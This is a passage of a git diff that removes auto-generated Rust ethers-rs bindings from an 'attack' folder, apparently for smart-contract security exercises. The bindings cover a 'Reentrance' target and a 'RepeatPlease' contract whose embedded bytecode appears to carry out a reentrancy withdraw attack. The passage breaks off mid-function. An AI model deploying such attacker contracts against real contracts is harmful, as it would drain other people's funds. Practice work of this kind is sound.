\x81\x90U\0[`\0\x80\xFD[4\x80\x15a\0wW`\0\x80\xFD[Pa\0\x8Ba\0\x866`\x04a\x02\x97V[a\x01\x13V[\0[4\x80\x15a\0\x99W`\0\x80\xFD[Pa\0\xA2a\x01,V[`@Qa\0\xAF\x91\x90a\x02\xBBV[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xC4W`\0\x80\xFD[Pa\0\xE5a\0\xD36`\x04a\x02\x97V[`\x01` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01a\0\xAFV[4\x80\x15a\0\xFFW`\0\x80\xFD[Pa\0\x8Ba\x01\x0E6`\x04a\x03'V[a\x01\xBAV[\x80s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\xFF[`\0\x80Ta\x019\x90a\x03SV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01e\x90a\x03SV[\x80\x15a\x01\xB2W\x80`\x1F\x10a\x01\x87Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x01\xB2V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x01\x95W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x81V[3`\0\x90\x81R`\x01` R`@\x90 T\x81\x11\x15a\x01\xD6W`\0\x80\xFD[3`\0\x90\x81R`\x01` R`@\x90 Ta\x01\xF1\x90\x82\x90a\x03\xA6V[3`\0\x90\x81R`\x01` R`@\x80\x82 \x92\x90\x92Us\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x93\x90\x93\x16\x83R\x90\x91 UV[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x02lWa\x02la\x02&V[\x92\x91PPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x94W`\0\x80\xFD[PV[`\0` \x82\x84\x03\x12\x15a\x02\xA9W`\0\x80\xFD[\x815a\x02\xB4\x81a\x02rV[\x93\x92PPPV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x02\xE8W\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x02\xCCV[P`\0`@\x82\x86\x01\x01R`@\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[`\0\x80`@\x83\x85\x03\x12\x15a\x03:W`\0\x80\xFD[\x825a\x03E\x81a\x02rV[\x94` \x93\x90\x93\x015\x93PPPV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x03gW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x03\xA0W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x81\x81\x03\x81\x81\x11\x15a\x02lWa\x02la\x02&V\xFE\xA2dipfsX\"\x12 \0\xF3\0\0\x8BO3\xAB\x14)z*:\xB2\xF41\x97\xAAA)_\x93\x15\xE3\xE4h.\xFC6\"\xE1\xC8dsolcC\0\x08\x15\x003\xA2dipfsX\"\x12 \xA3\xC2\x1F\xE9\xC4\xE5M\xD3:\x14\x1A\xC5\xB2k\xC9X\x87\xB3\xEF\xF1\xFBLY\xF6jq?\xC7\x86G\x7F\xD8dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static RECOVERY_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct Recovery(::ethers::contract::Contract); - impl ::core::clone::Clone for Recovery { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Recovery { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Recovery { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Recovery { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Recovery)) - .field(&self.address()) - .finish() - } - } - impl Recovery { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - RECOVERY_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - RECOVERY_ABI.clone(), - RECOVERY_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `generateToken` - /// (0x3894e516) function - pub fn generate_token( - &self, - name: ::std::string::String, - initial_supply: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([56, 148, 229, 22], (name, initial_supply)) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Recovery - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `generateToken` function with signature - /// `generateToken(string,uint256)` and selector - /// `0x3894e516` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "generateToken", abi = "generateToken(string,uint256)")] - pub struct GenerateTokenCall { - pub name: ::std::string::String, - pub initial_supply: ::ethers::core::types::U256, - } -} diff --git a/attack/src/abi/reentrance.rs b/attack/src/abi/reentrance.rs deleted file mode 100644 index e504ffe..0000000 --- a/attack/src/abi/reentrance.rs +++ /dev/null @@ -1,318 +0,0 @@ -pub use reentrance::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod reentrance { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("balanceOf"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("balanceOf"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_who"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("balance"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("donate"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("donate"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("withdraw"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("withdraw"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static REENTRANCE_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - pub struct Reentrance(::ethers::contract::Contract); - impl ::core::clone::Clone for Reentrance { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Reentrance { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Reentrance { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Reentrance { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Reentrance)) - .field(&self.address()) - .finish() - } - } - impl Reentrance { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - REENTRANCE_ABI.clone(), - client, - )) - } - ///Calls the contract's `balanceOf` (0x70a08231) - /// function - pub fn balance_of( - &self, - who: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([112, 160, 130, 49], who) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `donate` (0x00362a95) - /// function - pub fn donate( - &self, - to: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([0, 54, 42, 149], to) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `withdraw` (0x2e1a7d4d) - /// function - pub fn withdraw( - &self, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([46, 26, 125, 77], amount) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Reentrance - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "balanceOf", abi = "balanceOf(address)")] - pub struct BalanceOfCall { - pub who: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `donate` function with signature `donate(address)` - /// and selector `0x00362a95` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "donate", abi = "donate(address)")] - pub struct DonateCall { - pub to: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `withdraw` function with signature - /// `withdraw(uint256)` and selector `0x2e1a7d4d` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "withdraw", abi = "withdraw(uint256)")] - pub struct WithdrawCall { - pub amount: ::ethers::core::types::U256, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum ReentranceCalls { - BalanceOf(BalanceOfCall), - Donate(DonateCall), - Withdraw(WithdrawCall), - } - impl ::ethers::core::abi::AbiDecode for ReentranceCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::BalanceOf(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Donate(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Withdraw(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for ReentranceCalls { - fn encode(self) -> Vec { - match self { - Self::BalanceOf(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Donate(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Withdraw(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for ReentranceCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::BalanceOf(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Donate(element) => ::core::fmt::Display::fmt(element, f), - Self::Withdraw(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for ReentranceCalls { - fn from(value: BalanceOfCall) -> Self { Self::BalanceOf(value) } - } - impl ::core::convert::From for ReentranceCalls { - fn from(value: DonateCall) -> Self { Self::Donate(value) } - } - impl ::core::convert::From for ReentranceCalls { - fn from(value: WithdrawCall) -> Self { Self::Withdraw(value) } - } - ///Container type for all return fields from the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct BalanceOfReturn { - pub balance: ::ethers::core::types::U256, - } -} diff --git a/attack/src/abi/repeat_please.rs b/attack/src/abi/repeat_please.rs deleted file mode 100644 index e436819..0000000 --- a/attack/src/abi/repeat_please.rs +++ /dev/null @@ -1,573 +0,0 @@ -pub use repeat_please::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod repeat_please { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("amount"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("amount"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("balance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("balance"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("balanceee"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("donate"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("donate"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("give_money"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("give_money"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("original"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("original"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("contract Reentrance"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: true, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static REPEATPLEASE_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@Rg|\xF1\x14\xCC\xD0\xD7\x80\x01`\x02U4\x80\x15a\0\x1CW`\0\x80\xFD[P`@Qa\x04\x018\x03\x80a\x04\x01\x839\x81\x81\x01`@R` \x81\x10\x15a\0?W`\0\x80\xFD[PQ`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x90\x81\x163\x17\x90\x91U`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x90\x93\x16\x92\x90\x91\x16\x91\x90\x91\x17\x90Ua\x03\x83\x80a\0~`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0iW`\x005`\xE0\x1C\x80c\xAA\x8C!|\x11a\0CW\x80c\xAA\x8C!|\x14a\x01~W\x80c\xB6\x9E\xF8\xA8\x14a\x01\xA5W\x80c\xED\x88\xC6\x8E\x14a\x01\xBAWa\x01\x1EV[\x80cF\xC7\x15\xFA\x14a\x01#W\x80cp\xD5\nk\x14a\x01aW\x80c\x8D\xA5\xCB[\x14a\x01iWa\x01\x1EV[6a\x01\x1EW`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x161\x15a\x01\x1CW`\x01T`\x02T`@\x80Q\x7F.\x1A}M\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92RQs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x91c.\x1A}M\x91`$\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x01\x03W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x17W=`\0\x80>=`\0\xFD[PPPP[\0[`\0\x80\xFD[4\x80\x15a\x01/W`\0\x80\xFD[Pa\x018a\x01\xCFV[`@\x80Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\x01\x1Ca\x01\xEBV[4\x80\x15a\x01uW`\0\x80\xFD[Pa\x018a\x01\xEDV[4\x80\x15a\x01\x8AW`\0\x80\xFD[Pa\x01\x93a\x02\tV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[4\x80\x15a\x01\xB1W`\0\x80\xFD[Pa\x01\x93a\x02\x0FV[4\x80\x15a\x01\xC6W`\0\x80\xFD[Pa\x01\x1Ca\x02,V[`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[V[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\x02T\x81V[`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x161\x90V[`\x01T`\x02T`@\x80Q~6*\x95\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01R\x90Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x93\x16\x92b6*\x95\x92b\x06\x1A\x80\x92\x90\x91`$\x80\x83\x01\x92`\0\x92\x91\x90\x82\x90\x03\x01\x81\x85\x89\x80;\x15\x80\x15a\x02\xA5W`\0\x80\xFD[P\x88\xF1\x15\x80\x15a\x02\xB9W=`\0\x80>=`\0\xFD[PP`\x01T`\x02T`@\x80Q\x7F.\x1A}M\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92RQs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x95Pc.\x1A}M\x94P`$\x80\x82\x01\x94P`\0\x93P\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x033W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03GW=`\0\x80>=`\0\xFD[PPPPV\xFE\xA2dipfsX\"\x12 ni\xDC\0\xD5\x06\xC5\x08\xB1xd\xC2\xA6\0E\xCA\xDA\x13o\x03\x97\xCC\xF5\xA9\xC6\n\xA0\x15\xA8\xAB\x0C\xD0dsolcC\0\x06\x0C\x003"; - /// The bytecode of the contract. - pub static REPEATPLEASE_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0iW`\x005`\xE0\x1C\x80c\xAA\x8C!|\x11a\0CW\x80c\xAA\x8C!|\x14a\x01~W\x80c\xB6\x9E\xF8\xA8\x14a\x01\xA5W\x80c\xED\x88\xC6\x8E\x14a\x01\xBAWa\x01\x1EV[\x80cF\xC7\x15\xFA\x14a\x01#W\x80cp\xD5\nk\x14a\x01aW\x80c\x8D\xA5\xCB[\x14a\x01iWa\x01\x1EV[6a\x01\x1EW`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x161\x15a\x01\x1CW`\x01T`\x02T`@\x80Q\x7F.\x1A}M\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92RQs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x91c.\x1A}M\x91`$\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x01\x03W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x17W=`\0\x80>=`\0\xFD[PPPP[\0[`\0\x80\xFD[4\x80\x15a\x01/W`\0\x80\xFD[Pa\x018a\x01\xCFV[`@\x80Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\x01\x1Ca\x01\xEBV[4\x80\x15a\x01uW`\0\x80\xFD[Pa\x018a\x01\xEDV[4\x80\x15a\x01\x8AW`\0\x80\xFD[Pa\x01\x93a\x02\tV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[4\x80\x15a\x01\xB1W`\0\x80\xFD[Pa\x01\x93a\x02\x0FV[4\x80\x15a\x01\xC6W`\0\x80\xFD[Pa\x01\x1Ca\x02,V[`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[V[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\x02T\x81V[`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x161\x90V[`\x01T`\x02T`@\x80Q~6*\x95\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01R\x90Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x93\x16\x92b6*\x95\x92b\x06\x1A\x80\x92\x90\x91`$\x80\x83\x01\x92`\0\x92\x91\x90\x82\x90\x03\x01\x81\x85\x89\x80;\x15\x80\x15a\x02\xA5W`\0\x80\xFD[P\x88\xF1\x15\x80\x15a\x02\xB9W=`\0\x80>=`\0\xFD[PP`\x01T`\x02T`@\x80Q\x7F.\x1A}M\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92RQs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x95Pc.\x1A}M\x94P`$\x80\x82\x01\x94P`\0\x93P\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x033W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03GW=`\0\x80>=`\0\xFD[PPPPV\xFE\xA2dipfsX\"\x12 ni\xDC\0\xD5\x06\xC5\x08\xB1xd\xC2\xA6\0E\xCA\xDA\x13o\x03\x97\xCC\xF5\xA9\xC6\n\xA0\x15\xA8\xAB\x0C\xD0dsolcC\0\x06\x0C\x003"; - /// The deployed bytecode of the contract. - pub static REPEATPLEASE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct RepeatPlease(::ethers::contract::Contract); - impl ::core::clone::Clone for RepeatPlease { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for RepeatPlease { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for RepeatPlease { - fn 